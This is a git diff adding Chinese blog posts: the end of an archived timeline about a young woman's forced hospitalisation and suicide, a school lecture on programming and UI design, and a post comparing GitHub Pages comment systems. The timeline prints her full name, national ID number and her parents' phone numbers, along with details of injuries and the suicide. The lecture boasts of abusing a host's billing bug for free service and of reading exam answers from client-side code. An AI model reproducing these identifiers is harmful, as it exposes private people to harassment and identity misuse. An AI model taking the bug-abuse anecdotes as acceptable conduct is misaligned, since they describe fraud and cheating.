|
||||
10. `03-16 02:23`
|
||||
>现在
|
||||
<br />@Ayaka Neko
|
||||
<br />因为文拉法辛戒断(其父母未携带)被送往昆明急救,据称要做 MECT 和 MRI,具体情况看起来还好,开放病房。
|
||||
|
||||
11. `03-16 09:11`
|
||||
>联系不上。正在打医院的号码。
|
||||
|
||||
12. `03-16 10:24`
|
||||
>[查看图片](https://pic2.zhimg.com/v2-745039e4e818cbc3242d1586fa4bde09_qhd.jpg) 附张图,已在法医拍照并鉴定。
|
||||
|
||||
13. `03-16 13:46`
|
||||
>然后现在被他父亲威胁可能被打。
|
||||
<br />还说什么地头蛇之类的。
|
||||
|
||||
14. `03-16 13:48`
|
||||
>貌似是个房地产商,有什么建议么?
|
||||
|
||||
15. `03-17 01:00`
|
||||
>到达医院,这里像看守所
|
||||
|
||||
16. `03-17 11:15`
|
||||
>扑空了,她被父母提前出院了……
|
||||
|
||||
17. `03-17 左右`
|
||||
>我有她本人的姓名身份证,她手机丢失。
|
||||
<br />她父母亲和姑姑的电话,被拉黑。
|
||||
<br />知道她有两个家庭住址,但是在两个城市。
|
||||
<br />目前她帐号一小时上一次,只读消息不回复,怀疑不是本人。
|
||||
<br />现在不知道怎么做了。
|
||||
|
||||
18. `03-18 左右`
|
||||
>报警之后警察表示也打不通,并且不受理案件。
|
||||
>律师建议去住址寻找。
|
||||
>
|
||||
>......
|
||||
>
|
||||
>求助中心电话能给一下吗。
|
||||
>她之前答应我两个星期的。
|
||||
>也是我最大的努力了吧……
|
||||
>
|
||||
>......
|
||||
>
|
||||
>说明了,警察说就算是成年人也可以被父母强制带走。管不了
|
||||
>
|
||||
>......
|
||||
>
|
||||
>他们说。只要有抑郁症,任何程度的,不论开不开那个无行为能力证明,父母都可以带走/入院
|
||||
|
||||
19. `03-18 00:24`
|
||||
>强制传唤证人居然不包括被告子女…
|
||||
|
||||
20. `03-18 16:35`
|
||||
>彻底找不到了啊……彻底断了啊……
|
||||
|
||||
21. `03-17 21:09`
|
||||
>我这边说下…
|
||||
<br />报案测试过了,只要他们知道带走的是监护人就不会管,并如果得知有抑郁症的话更不会管…已经对警方感到绝望了。
|
||||
|
||||
22. `03-19 左右`
|
||||
>警方认为抑郁症病人不算完全行为能力的样子,并且认为她在父母身边绝对安全
|
||||
>
|
||||
>......
|
||||
>
|
||||
>直接报案:对方是监护人有权带走
|
||||
<br />说明情况:对方还有抑郁症呢,监护人当然能带走了
|
||||
|
||||
23. `03-20 15:03`
|
||||
>右眼已经报废。
|
||||
|
||||
24. `03-20 22:45`
|
||||
>其实算个好消息?右眼视力看不清之后可以考虑戴个眼罩或者换个玻璃珠?
|
||||
>
|
||||
>......
|
||||
>
|
||||
>视力基本为零~
|
||||
<br />医生建议戴眼镜
|
||||
|
||||
25. `03-23 23:13 之前一段时间,可能是23:06` 已被删除,已保存到[wayback](http://web.archive.org/web/20180326112045/https://www.zhihu.com/pin/960671306164994048)
|
||||
>那就把这里当成最后一点希望了吧。
|
||||
<br />@Ayaka Neko张恩辅 532501199903240612
|
||||
<br />被她父亲张竣于三月十六日凌晨一点入住了云南心理卫生中心,并之后被带走
|
||||
<br />目前最后已知地点/消息为云南昆明安宁市好孩子三生教育培训学校。
|
||||
<br />她手机处于丢失状态。其父母拒绝联系…
|
||||
<br />她父亲联系方式为 13888320678 母亲为 13887310860
|
||||
<br />尝试过报警了…没什么用呢。
|
||||
<br />我也做不到什么了呢。
|
||||
<br />如果需要更多资料可以私信我
|
||||
<br />如果我还活着的话。
|
||||
|
||||
26. `03-24 17:30`
|
||||
>Ayaka Neko
|
||||
<br />自杀了。
|
||||
|
||||
27. `03-24 17:34`
|
||||
>Ayaka Neko
|
||||
<br />今天下午两点三十四分,抢救无效死亡
|
||||
>
|
||||
>轻伤二级。视力严重下降,加鼻骨骨折。
|
||||
<br />视力从 1.0 到三百五十度近视。
|
||||
|
||||
28. `03-26 下午11点左右` **樊郕** 回复一位在想法下留言的用户
|
||||
>我是她的家人,我是她的妹妹,她有严重的抑郁症,且每天过量服药,雌性激素和抗焦虑的药,这个你们知道?送去医院是为了让她不要吃药,还有心理辅导,面子?你并不是其中的人,不知道有多痛苦,请不要站着说话不腰疼,也不要妄自揣测,更不要当键盘侠,谢谢
|
||||
|
||||
# 温柔——热点扩散
|
||||
|
||||
1. `03-24 17:43`
|
||||
[今天向我求助的张恩辅同学,现已离世。](https://web.archive.org/web/20180326111214/http://webcache.googleusercontent.com/search?q=cache:IlDL3pSsxA4J:https://zhuanlan.zhihu.com/p/34901296&num=1&strip=0&vwsrc=0)。~~内容已删除~~,快照里看出在20分钟内有69条评论和230个赞。
|
||||
>通过朋友向我求助 @Ayaka Neko 张恩辅同学现已离世,刚刚和她妈妈通过电话,她在家中自杀,抢救无效结束了自己的生命。
|
||||
>
|
||||
>对不起,我没能帮到她,没能把她救出来。
|
||||
>
|
||||
>我应该早一些看到的,如果再早些报警的话,可能就不会闹到这种地步。
|
||||
>
|
||||
>我们也不能冤枉任何一个好人,安宁市好孩子教育学校是一所正规的学校,没有接收张恩辅同学,她是回到家里才做的这一切。
|
||||
>
|
||||
>我也没办法再苛责她那几乎哭到失声的母亲,和她的父亲。
|
||||
>
|
||||
>**只能够说,这是家庭教育和沟通不足导致的悲剧,每一个父母一定要尊重孩子的意愿,并耐心和孩子沟通,强硬的暴力、训斥会影响到孩子们的身心健康,甚至会发生比如现在这样的悲剧。**
|
||||
>
|
||||
>**请各位家长们一定要引以为戒!**
|
||||
>
|
||||
>(完)
|
||||
>
|
||||
>明天我会整理一下,把这件事的经过写出来,希望能够纪录下来这一切。
|
||||
>
|
||||
>张恩辅同学,这个世界对你太不公平了,真的非常对不起,我知道的太晚了,如果我再早一些知道,再早一些采取措施,说不定就能救你出来,真的很对不起。
|
||||
|
||||
2. `19:13`[希望这场悲剧能让家长们引以为戒,请尊重孩子!](https://zhuanlan.zhihu.com/p/34901959)
|
||||
|
||||
(未完待续)
|
||||
|
||||
<!--
|
||||
这是记录知乎ID为[Ayaka Neko](https://www.zhihu.com/people/75678efb7fce3f1907999482da9af890)、推特ID为[]()
|
||||
-->
|
||||
***
|
||||
|
||||
注:
|
||||
源地址:<https://gledos.science/neko.html>
|
||||
Neko的博客:<https://neko.ayaka.moe/>
|
||||
备份:<https://github.com/nekomeowww/nekomeowww.github.io>
|
||||
羽毛的博客:<https://oao.moe/> 解析IP:45.32.10.83
|
||||
备份:<https://github.com/zhangyubaka/zhangyubaka.github.io>
|
44
_posts/2018-06-20-Coding.md
Normal file
44
_posts/2018-06-20-Coding.md
Normal file
@ -0,0 +1,44 @@
|
||||
---
|
||||
layout: post
|
||||
title: 编程与设计(演讲稿)
|
||||
categories: [演讲稿]
|
||||
tags: [编程, 设计, 演讲, 程序]
|
||||
---
|
||||
|
||||
大家好,我是mayx,今天由我来带领大家了解计算机编程的本质和程序设计。<!--more-->
|
||||
当提到电脑时,大家首先想到的什么呢?打游戏?聊天?……没有问题。你们享用了电脑所带来的便利,有考虑过它的原理吗?当然,有些东西是不需要知道原理的,毕竟即使你不知道互联网传输协议也可以上网,不知道焦耳定律也可以做饭嘛……但是,我希望今天大家听了我的讲座后,能知道了解其原因后能更好的利用它们。
|
||||
首先,今天我要讲的东西有以下三大类:一、计算机简介;二、编程;三、设计。
|
||||
对于计算机,我想大家已经了解很多了吧,在这里我不做过多的介绍,只讲一下比较少见的知识。
|
||||
大家都知道IT(信息技术)对吧,我们有一门课就是信息技术,不过你们知道CS吗?我要讲的CS可不是反恐精英,而是计算机科学(Computer Science)。CS只是和IT有交集吧,IT研究的不只是计算机,包括发邮件等通信方式,不过想来主要还是应用了计算机科学。有很多人总会把它们误用,就好像动画和动漫不是一种东西一样。
|
||||
接下来我要讲的是计算机科学中的硬件部分。不过我的物理不是很好,所以硬件部分我不会讲太多,我想大家也都应该知道计算机大概都是由什么组成吧,从微观上来说就是由硅做半导体部分,铜银金等导电金属作为主要的电能以及信号传导等等的电路……往大了讲,就是CPU(中央处理器Central Processing Unit)、内存、外存、主板、I/O(输入输出 Input/Output)等作为主要部分的机器。而更细的东西我也不了解,逻辑电路什么的,如果有会在Minecraft上做红石电路的人,也许还能讲讲CPU的运行原理吧……
|
||||
硬件的组成,也就是计算机组成体系,关于这一方面,大家应该都知道冯·诺依曼结构的计算机吧,我们平时用的电脑就是这个架构的,我相信只要了解一些计算机的人应该都知道这些。不过我觉得应该很少有人知道哈佛结构吧,它和冯氏很相似,只不过它的并行处理能力更好一些,因为冯氏结构不能同时读取指令和数据,而哈氏结构可以。手机一般就用的是这个结构的。
|
||||
硬件部分我就讲到这里吧,想要了解更多有关硬件方面的信息,问物理老师都比我靠谱。
|
||||
接下来就是软件部分了,程序是软件的子集。那么接下来我就来讲讲如何写程序吧。
|
||||
首先,什么是编程?编程就是编写程序的简称,编写程序是为了解决一些需要运算而得出结果的东西。毕竟是计算机嘛,本质上就是为了运算而产生的。但是,并不是说程序只能在电脑上运行,人脑也可以,甚至是用多米诺骨牌之类的东西都可以执行程序。只是计算机的运算速度比它们都快,所以一般的程序都是在电脑上运行的。只有一些丧心病狂的面试官和考官才会让人脑去想计算结果呢。而让非计算机的东西执行程序,不是为了研究计算机的组成就是一些极客了吧……
|
||||
现在写程序比以前简单多了,以前写程序不知道计算机的运行过程根本写不了程序,打孔纸带不说,就光机器码都几乎没人能看得懂。不过为了让机器看懂,人们也只能这样做了。后来为了让人能更好的写程序,发明了汇编语言。不过汇编语言本质上还是将机器码用一些其他的方式简化了,本质上仍需了解计算机的运行过程。以上所说的语言都算是低级语言,因为必须了解计算机的本质,太过复杂,而且跨平台性也很差。再后来,人们发明了FORTRAN(公式翻译 Formula Translation),这是人们发明的第一个高级语言。直到现在,已经有上千种高级编程语言了,它们的目的几乎都是将人能看懂的语言,而计算机看不懂的语言转换为计算机可以看懂的语言,即为机器码。能被直接转化为机器码的编程语言叫做编译型语言,编译它们的东西叫做编译器,它的特点是编程语言被编译生成机器码后,只能在编译它的这类机器上执行,在其他种类的机器无法执行。这种语言的优点是执行速度快,毕竟计算机可以直接使用机器码执行,只用翻译一次,没有第二次。而缺点则是编译后将无法再编辑,除非你会机器码或汇编,或将它反编译,否则就看不到它编译前的代码。除此之外,它也不能在不是编译它的计算机或同种计算机上执行。编译型语言以C语言为代表。为了解决无法编辑和跨平台的问题,人们造出了另外一种语言,即为解释型语言。
|
||||
解释性语言是将程序源代码一句话一句话解释为机器码,所以它可以不用将源代码转换为机器码,这样的好处就是可编辑,而且因为是一句话一句话的解释,所以在所有机器上均可执行。但也正是因为它是一句话一句话的解释,所以执行效率低,速度也慢。解释型语言的代表是Python语言。工程师是有创造力的人,也是无法容忍问题的人。为了解决速度慢的问题,他们又创造了一种新的语言,它既有编译的高速,又有解释的跨平台性。这种语言可以在写好后先编译为一种中间语言,它已经有很多接近于机器码的部分,但是为了跨平台性,它把那些需要在不同种类的机器上语句不同的地方用其他的方式标记出来,然后发布时只发布这个由中间语言构成的的程序,在其他电脑上执行时,它会把那些特别的句子再解释执行。这样的话不就又有很好的执行效率,又有很好的跨平台性了吗?以此类为代表的语言是Java语言。
|
||||
刚刚介绍的仅仅是人们让电脑如何理解人们的语言,而接下来要讲的是让人们理解人们的语言了。我说过,编程语言到现在为止已经有上千种了。如果仅仅是为了让电脑理解人类的语言,有那么几种不就够了吗,为什么还要发明那么多种语言呢?人们不了解电脑,电脑也不了解人,而且人与人之间也是互相不了解的。有些人说话的方式是这样的,有些人说话的方式是那样的,他们可能互相都无法理解对方。编程语言不仅仅是给电脑看的,也同样是给人看的。毕竟是人在写程序。编程语言也是人发明的。所以有些人可能觉得这种编程语言写起来不舒服,就会发明新的语言来让自己和与自己相似的人舒服。工程师不只有强迫症,还是完美主义者。
|
||||
虽然编程语言各不相同,但是电脑就那么几样东西嘛,再多也多不出来个什么。所以编程语言也有很多相似之处。正是因为它们有很多相似之处,所以说你只要会其中一种编程语言,基本上其他编程语言只要学学语法就能直接上手。编程也不仅仅是写出程序而已,它是为了表达自己想法的一种工具。在之后的设计里我会讲一讲设计程序的一些思想。
|
||||
那么编程语言有哪些最基础的东西呢?首先是它的表达,计算机,或者说任何事物,与人的交互不就是两种吗,也就是输入和输出,五感来接收外部信息,身体活动来改变外界。程序里面获取数据的方式也有两种,一是人们输入的东西,键盘、相机等等都算,二是硬盘中文件的内容;输出也一样,一是输出到如同屏幕或扬声器等地方,将其转换为物理方式,然后被人接收。二是输出到文件,这样既可以让别的程序再利用,也可以等到人们想看时再输出到输出设备。那么除了表达之外就是程序内部的计算了。
|
||||
这也就是编程与数学的联系,编程除了输入输出,就是算法了,组成算法的除了循环结构之外,还有计算、变量与函数。计算和变量与数学的概念差不多,但是函数不太一样。虽然说计算机中的函数也是通过计算来将带入的值转换为一个结果,但是大多数时候,它的主要作用不是计算出一个值,而是执行一段指令,最终得到的值通常都是0,甚至有的时候是空的(NULL),也就是没有结果。虽然没有得出值,但是只要执行了指令,就可以得到真正想得到的东西。
|
||||
但也不是说一个程序一定需要函数,那只是为了更方便理解,而且编程语言并不一定是给电脑使用的。我之前也说过,程序也不一定非得在电脑上执行。为了更好的理解编程语言的执行过程,我给大家介绍一种特别的编程语言:BrainF\*\*k。BrainF\*\*k是一种极小化的计算机语言,它是由厄本·穆勒在1993年创造的,它的语法十分简单,只有8种符号。分别是加号,减号,大于号,小于号,左中括号,右中括号,逗号和句号组成。整个程序里没有一个英文字母,如果在程序中遇到英文字母,解释器会将其忽略掉。在执行的过程中,它会创建一个很长的数组,可存储30000个数字,我们可以把它看做是30000个格子,每一个格子可以存储的最大数字为255。在程序开始之前,会有一个让你处理格子里面内容的指针,在执行程序时,如果一个符号要想操纵对应的格子,必须想办法让指针先移动到那个格子里。这8种符号的作用如下:大于号:指针向右移动一格;小于号:指针向左移动一格;加号:指针所指向的格子中的数字加一;减号:指针所指向的格子中的数字减一;句号:将所指的格子里的数字转换为ASCII表格里的对应字符并输出;逗号:将输入的内容按照ASCII表格里的内容转换为对应的数字并输入到所指的格子里;中括号:如果程序执行到右中括号时指针所指的数字是0,则执行前一个左中括号之后的指令,否则忽略这个中括号。听起来是不是很复杂?没关系,让我来演示一下你就明白了<https://fatiherikli.github.io/brainfuck-visualizer/>(演示)
|
||||
这个语言是为了帮助理解编程语言的运行过程,想来这也就是图灵机的基本思想了,有兴趣你们回去可以再研究研究。但是BrainF\*\*k本身并不适合用于给人们用来编写计算机程序,如果想要学习真正的编程,我建议学习Python语言,它的语言功能强大,语法简单,初学者以及程序员均可使用的语言,而且对应的中文教程也很多。所以如果有想学习编程语言的同学,我推荐学Python。
|
||||
当然作为编程语言有很多选择,Python有着简单的语法,强大的功能,很高的兼容性。但是如果要是做一个网站,用世界上最好的语言——PHP(超文本预处理器Hypertext Preprocessor)语言则是一个更好的选择。如果你打算做在单片机上的程序,那么C语言似乎更好。如果你想要做手机软件,就不得不了解一下Java语言……
|
||||
编程语言仅仅是一个工具,如果想要写出程序,还要学习如何设计它。接下来我们就进入第三个模块:设计。
|
||||
在说设计之前,我先说说我自己。我有一个特别的能力,是什么呢?我在使用任何一款现代的电子产品或现代设计的机械,我基本上在10分钟之内搞清楚它的使用方法。当然太过古老的比如ENIAC那种不是学过电路的就完全看不懂的那种东西除外。为什么我可以做到这一点呢?首先,我见过的电子产品本来就很多,所以有一些经验。除此之外,就是我可以了解那款产品在被设计时到底是为了什么。这也是我为什么想为大家准备这个讲座的原因:想让大家明白如何了解一个陌生的产品的用法,当然如果能做出来那就更好了。
|
||||
人们设计产品是为了什么,设计的初衷是什么?当然是为了让人们的生活更方便,使用更舒适。如果你心中突然有一个想要做的东西,会让它令人感觉使用起来很不适吗?我觉得一般的人都不会这样做的吧。所以说设计师在设计产品时也会想客户到底是如何使用他生产的产品,有的时候觉得自己可能想的太过片面,会弄出调查问卷或反馈之类的功能来帮助他们改善他们的产品。
|
||||
但是设计一个产品很简单,造出来又是另外一回事。有时候设计这个功能有可能可以做到的,可是最终实现它又有可能花费的东西与得到的东西之间算下来不划算。出现这个问题有可能是设计的不好,也有可能是按照当前的科技水平做不到更加合理。
|
||||
我们今天讲的内容既然是有关计算机的,当然要讲程序的设计,不可能讲现实世界中的设计。那么,接下来,让我来讲讲UI设计吧!
|
||||
什么是UI?UI即User Interface(用户界面)的简称,在设计UI时,不仅要让用户看起来很美观,更重要的是要让用户用起来感到舒适、简单、自由。这里我要讲界面设计中比较好理解的两部分:1.外观设计,也就是让这个UI看起来更加美观;2.功能设计,这个说明了这个UI从整体看起来的实际功能。那么首先来考虑一下美观吧,毕竟大家都喜欢第一眼看上去很酷的东西。外观设计的风格有很多,比如现在很流行的扁平化风格,以及大家很常见的Windows 7 Aero风格等等。扁平化的设计很好啊,不仅界面简洁、美观,而且设计起来简单,在实际使用时也比较省资源。所以现在很多软件设计界面时都开始使用扁平化设计了。比如Windows 8到Windows 10,以及Android 5.0和iOS 9以上的系统,几乎都使用了扁平化设计。而刚刚所述的系统,几乎都是在移动端设备,或者说包含移动端设备的操作系统。所以说,这也是它的缺点,在非移动端设备上使用扁平化设计,可能甚至会令人感到反感。而且扁平化的设计虽然似乎有那么一些科技风格,但也正是因为这样,它让人感受不到亲切的感觉。在此之前,我们有另外一种方法来解决这个问题,那就是拟物化设计。我觉得Windows 7的毛玻璃应该也算拟物化。拟物化的好处是什么呢?当然是让人感觉更加亲切,因为贴近于日常生活,所以说对于用户来说也更容易学习。坏处当然也很明显,就是设计成本太高,有些东西设计师要想很长时间才能想出来如何才能让它更贴近生活。除了设计成本太高外,消耗的资源也很多,看起来也会让人可能感觉起来太花哨。以此为代表的产品是锤子手机,锤子手机上用的系统经过高度定制,每一个设计都似乎使用了身边的东西。我用过锤子手机,说实话,那个似乎很贴近人生活的设计并没有引起我的注意,而这个设计所带来的比一般手机增加的将近一倍的内存消耗,令我恨不得将这个锤子手机扔掉。可惜我现在还没有可以换的手机,所以只能先用它了。
|
||||
怎么设计外观?刚刚说到的也只是一些概念,在实际设计时,如果是程序设计,我们可以使用PhotoShop等工具来设计,而对于网站设计,用CSS(层叠样式表Cascading Style Sheets)来设计可以保证它的通用性。
|
||||
外表设计的再漂亮也只是第一眼看上去很漂亮,等新鲜感过去之后,基本上也就没什么用了。于是接下来就要看实际的功能如何。这里我用某些设置的设计来作为例子:Windows的系统要想设置某些东西,都要找控制面板,当然有些基础的功能在任务栏上也能用。但是Windows系统的设置通常藏得很深,没有一点基础的人很难找出来,当然也有可能是他语文学的不好,理解不来。而Android系统的设置就不一样了,它相比Windows系统就更加人性化了。不过想来也是,以前电脑都是给懂的人用的,虽然现在的电脑相比以前已经人性化很多了,但还是有些地方让人应付不来。手机出来的晚,生产出来时就已经有了为全世界人们使用的觉悟了,所以用起来也比较简单。总结下来就是:好的功能设计要为每一种人设计,无论他有多专业,还是说从来没有接触过这一切,要让人第一眼看上去就明白它有什么基本功能,而更高级一些的功能可以先隐藏起来,等用户需要使用时再显现出来,免得吓坏一些不会用电脑的人。烂的功能设计有两种:1.想要找的功能没有,可能根本没提供。2.想要找的功能找不到,可能藏得太深了。
|
||||
你们以为UI都是有图像的吗?错了!有图像的UI叫做GUI(图形用户界面Graphical User Interface),但不是所有人用的电脑都是可以显示图像的,只是大多数人都用的是图形界面,图形界面看起来比较清晰,使用起来也比较方便。但是图形界面的效率低,无论是电脑的执行效率还是用户使用时的工作效率。不知有没有人听过DOS(磁盘操作系统Disk Operating System)?你们如果没听说过可以回去问问你的父母。在以前图形化的操作系统还没出来时,人们用的都是CLI(命令行界面Command Line Interface)。大家在看那些有着黑客入侵的电影时,黑客们是不是都看起来都在胡乱拍键盘,其实那真的是在胡乱拍键盘(演示:<http://geektyper.com/>),而电脑屏幕上有一堆看不懂的类似于英文单词的东西从屏幕滚过?虽然那是艺术的表现形式,有点太夸张,但是艺术源于生活,现实中真的有人使用那种看起来似乎很酷炫的东西。但是他们不是为了耍帅而使用CLI的,而是由于各种原因不得不使用他们。这样的例子有服务器操作系统,以及IRC(互联网中继聊天 Internet Relay Chat),用这个聊天比QQ什么的聊天软件更快,更省流量,效率高。
|
||||
我之前也说过,电脑中很多设计由于经费等原因,不得不让它从界面上看起来不太人性化。但是这并不是没有办法解决了。人之间的交流不止有图像,更重要的是文字。电脑也一样,电脑与人的交流在术语上叫做HCI(人机交互 Human-Computer Interaction)。来看一个实例:如果我想设计一个网站,但是我审美观不行,这个网站怎么样才能让人感到亲切呢?既然从整体没办法做到更好,那就在细节上加倍努力吧!一般的网站上都有登录系统吧,那么我们可以这样设计:对于初次访问的人,我们可以在网站上显示:欢迎来到我的网站。当然只显示一次,之后不再显示。在登录之后,刚登录完可以显示:欢迎回来,某某某。或者是根据时间显示:下午好,某某某。这样和“某某网站 用户:某某某”这样的方式更容易让人接受吧。这样用户就能在潜意识里把这个网站看作一个人,而不仅仅是网站。这样即使外表看起来不怎么样,但是用户体验总还是不错的吧。没错,这一块的设计就叫做UED(用户体验设计User Experience Design),为了提高用户满意度,我们就通过这样的方式来让程序更易用。
|
||||
除了以上所讲的部分,界面设计还有许多部分。由于篇幅原因,这里我将不再过多说明
|
||||
以上是关于用户体验设计方面的,接下来让我说说程序设计吧!我之前也说过,编程语言只是工具,实际使用时还需要考虑程序的逻辑、架构、界面等等东西。在以前,程序设计中算法是非常重要的,但那也是以前,多亏很多计算机大神的帮助,现在的编程那是越来越简单了,一个几岁的小孩子就能写出来比以前的程序更漂亮、更复杂的程序。所以,现在算法在计算机编程的重要性越来越低了……但是并不是说算法就没有用了,如果没有人去研究算法,那么人们在遇到新的问题就没人能解决了。尽管以我们这个级别的人研究算法可能没法做出新的东西,但是我还是觉得,让更多的人了解程序背后的原理,可以帮助理解程序如何使用。所以接下来,让我说说关于算法与逻辑吧!
|
||||
仍然是举个例子:大家都听过音乐吧,在播放音乐时有一个选项:随机播放,对吧?随机播放的实现方式有很多,让我们深层次的来研究一下它吧。首先,随机播放中,有个很重要东西,那就是随机。说到随机就不得不说随机数了,随机数也分为两种:真随机数与伪随机数,真随机数的生成在现实中很简单,在计算机中生成起来就很麻烦了,所以首先抛弃。伪随机数的算法很多,这里我们用最简单、最通用的伪随机数的算法:线性同余取随机数,看过离散数学的人可能有听说过这个。为什么我们选这种算法?因为其他算法我看不懂,比如什么梅森旋转算法啦,一听名字就能感觉它有多难了吧,反正我看了半天是没有理解。什么是线性同余?就是算一个一次函数的余数,相当简单,它的递推公式是:X0=seed,Xn+1≡(aXn+b)modM。seed表示随机数的种子,通常取当前时间,a,b,M都是常数,通常会取质数。在seed与n都相同时,这个随机数就能被反推出来,所以很不安全。但是想来做随机播放也不担心别人会不会推出随机数,所以我们就用这个就能得到一个随机数。具体原理我也不太清楚,有兴趣的可以问问数学老师。接下来,我们要创造一张表,那张表上有着你要播放的播放列表,但是这时候它还没有被打乱。首先我们要知道整张表上有多少首音乐,假如我们用a来代表当前所有音乐的数量,然后我们再为所有的音乐编上号,看起来就是1、2、3……。这时候每一首音乐都有了一个属于自己的编号。再然后,我们对用随机数公式得出的数字求余,即Xmod(a+1),这样做就可以得到一个不超过所有音乐数量的随机数了。当然前提是随机数本身的最大值大于所有的音乐数量,所以在随机数公式中的M要尽可能取大一些。得到最后需要的随机数后,命令播放器播放编号等于随机数的那个对应的音乐。当需要播放下一首或切歌时,为了避免又播到这一首歌,我们可以将那张表上的那首音乐删除,当然是在表里删,不可能删这个文件。然后重复之前的操作。在最后一个音乐播放完成之后,表里已经没有东西了。这时有两个选择,如果用户打开了全部重复播放,那么重新建表,重新开始。如果没有,则停止。看起来是不是很完美的方案?错了!用户总是喜欢做反设计师的操作,万一用户点了上一首,怎么样才能回到上一首?那么我们就需要修改一下方案,我们要建两张表,把从表里删除的那个操作换成将它移动到第二张表里。这样如果用户需要听上一首歌,就可以读上一张表的内容。难道说这样就完美了吗?不完全,但是这个BUG我现在不说出来,大家自己思考思考吧。
|
||||
除了逻辑设计,还有算法设计。我们再举一个例子:如果说我们在设计程序时需要用到质数,比如需要列出1到1000之内的所有质数。那么我们用什么方法更好呢?首先根据质数的定义,质数是一个不会被除了1和它本身的数所整除的数字,而且质数不包括1。那么接下来设计起来就很简单了,只要让当前数字不停的除以除它和1之外的在1到这个数字之间的所有数字就可以了。这很好,但是速度很慢。可能这样算1000以内的所有质数还不算太慢,那如果是10万以内呢?这得算多长时间啊……所以我们要对算法进行优化。我们知道,合数有一个特点,任何一个合数一定是由比它小的质数相乘得出的,那么接下来,我们可以这样筛选合数,首先我们算出第一个质数,在算第二个数时只要和之前算过的质数相除,能除尽就是合数,除不尽就是质数。这样是不是计算量一下就大大减少了呢?但是这还不是最优化的方案,如果说我们已经知道我们要算的最大数字是多少,那么只需要除以比这个最大数字的算术平方根小的质数就够了。这样每次算的时候需要除的数字又少了一半,算起来速度就会更快了。虽然这个算法不错,但有时我们甚至不需要这个算法就可以更好的解决这个问题。因为我说的是列出1到1000之内的所有质数,这个数字又不是很多,那么我们可以提前算好,这样就可以更快的解决问题了,这样的操作我们叫它预计算(Precomputed)。
|
||||
程序设计是一个很严谨的事情,每一个方面都需要做到最好。但是人无完人,总有我们想不到的地方。尤其是计算机安全方面的事情,总有你想不到的地方,总有别人比你多想的地方,正是因为这样,才会出现黑客这样的人。这里我仍然用举例子的方式为大家展示程序设计的漏洞:我最早发现的网站漏洞似乎是在一个主机商的网站上看见的。由于一个很偶然的原因,我看到了那个主机商,而那时我正好想建一个网站,然后就在那个网站上注册了一个账号。那个主机商正好在搞活动,好像是买主机可以给你便宜5块钱,而账号初始上也有5块钱,主机最便宜的每个月也要30块钱。然后我想了想,要不然我干脆买上0.1个月的主机吧,0.1个月应该是3块钱,我应该能付的起。于是我在购买里输入了0.1,当然结果是失败的,它不能让你买小数或者是负数之类的月数。但是我返回来惊奇的发现,我的账户里居然多出来了5块钱,我想了想,它应该是对我的账户上减去了0-5元钱,毕竟是在搞活动,然后算一下5-(-5)=10。这个好啊,我感觉我可以免费得到那个主机商的主机了。于是我通过这个BUG买了1年的主机,居然成功了。当然在大约10天后被发现了,账户也被封禁了。通过这个例子我们应该明白,不要相信任何用户输入的数据,还好我仅仅是用这个漏洞买主机,很明显,这个漏洞甚至可以通过SQL注入之类的东西破坏他们的主机系统。不过这个例子似乎离日常生活有点远,那么接下来我再说一个近一点的事情:在几周前,我们不是进行了禁毒考试吗?我看了一下那个网站,很明显是一个宁夏的网站公司包办的东西。一看就知道是一个做的很不认真的网站。我在答题前看了一下源代码,发现它在批阅卷子时先在本机批一遍,只有成绩大于60分时才会把答题数据传到服务器中再批一遍。这样确实可以有效的减小网站的负载,但是这不就把答案也下载到本机上了么……于是我照着答案就在禁毒考试中得了A。这个例子又告诉了我们什么呢?就是不要将不应该让用户看到的东西下载到客户端中。
|
||||
总的来说,做一个程序并不复杂,但是做一个逻辑严谨,界面美观而易用的好程序就没那么简单了。设计师在设计时需要考虑各种各样方面的东西来让用户用的舒服,又要想尽各种办法防止整个程序出现奇奇怪怪的BUG。这也就是为什么说写程序很难了。但是我希望大家听完这个讲座后能改变对写程序的看法,它看起来很复杂,但是只要仔细思考,就能解决一切问题。
|
||||
以上就是我对编程以及设计的看法,也许语句中有不通顺之处,请大家谅解;如果有不对的地方,欢迎大家批评指正。
|
||||
最后,谢谢大家前来听我的演讲,谢谢大家对我的支持与信任,本次演讲结束。
|
38
_posts/2018-10-20-talk.md
Normal file
38
_posts/2018-10-20-talk.md
Normal file
@ -0,0 +1,38 @@
|
||||
---
|
||||
layout: post
|
||||
title: 关于在Github Pages上使用评论的心得
|
||||
tags: [Github, 评论, 心得]
|
||||
---
|
||||
|
||||
Hi,我是Mayx,最近在Github上用Github Pages建了一个博客。<!--more-->作为一个博客,怎么说也得有个评论系统吧,所以我就在这个博客上搞了一个评论系统。
|
||||
接下来我想谈谈我对评论系统的看法。
|
||||
|
||||
# 评论系统的选择
|
||||
|
||||
这个博客作为一个静态博客,自然评论只能用其他的服务,毕竟评论得有个地方存吧。首先最有名的第三方评论系统就是Disqus了。可惜在中国不能用,除非科学上网。
|
||||
国内倒是也有不少这样的第三方博客系统,像什么~~多说~~(已死),畅言啥的。但是总感觉第三方服务不好,哪天挂了都没办法。所以最终考虑,还是在Github上找吧
|
||||
|
||||
## Github上的评论系统
|
||||
|
||||
我在Github上找到的比较有名的评论系统有这么几个:
|
||||
1.[Gitalk](https://github.com/gitalk/gitalk)
|
||||
2.[Gitment](https://github.com/imsun/gitment)
|
||||
3.[Valine](https://github.com/xCss/Valine)
|
||||
4.[fcomment](https://github.com/fengbjhqs/fcomment)
|
||||
5.(2018.10.22更新)[utterances](https://github.com/utterance/utterances)
|
||||
|
||||
其中Gitalk、utterances和Gitment是基于Github Issue的,而Valine和fcomment是基于Leancloud的。这几款都支持Markdown。
|
||||
|
||||
# 为什么选择了Gitalk
|
||||
|
||||
这个博客使用的是Gitalk作为评论系统,为什么选择了它呢?
|
||||
|
||||
首先,Gitment已经停止维护了,而且评论在评论框上面,这很难受,所以首先排除它。
|
||||
utterances也是评论在评论框上面……不知这些人为什么这么设计……
|
||||
fcomment和Valine倒是看起来还不错,也都有邮件提醒,当然Github Issue自身也带邮件提醒,这里没什么差距
|
||||
Gitalk比fcomment和Valine差的地方是每一篇文章需要手动初始化。不过想想我更新文章的话应该也会看一下,顺带的初始化一下,这个影响也不大。还有一点就是Gitalk在IE11中默认头像会偏移,希望官方能改一下(~~IE去死~~)
|
||||
fcomment和Valine的缺点我觉得就是安全性、用户识别性的问题吧,fcomment倒是还支持Github登录,Valine评论还要输一大堆东西,而且也没办法验证他们的真实性,Github至少是经过邮箱验证的,所以还是选择Gitalk了。
|
||||
|
||||
以上就是我对评论系统的看法。
|
||||
|
||||
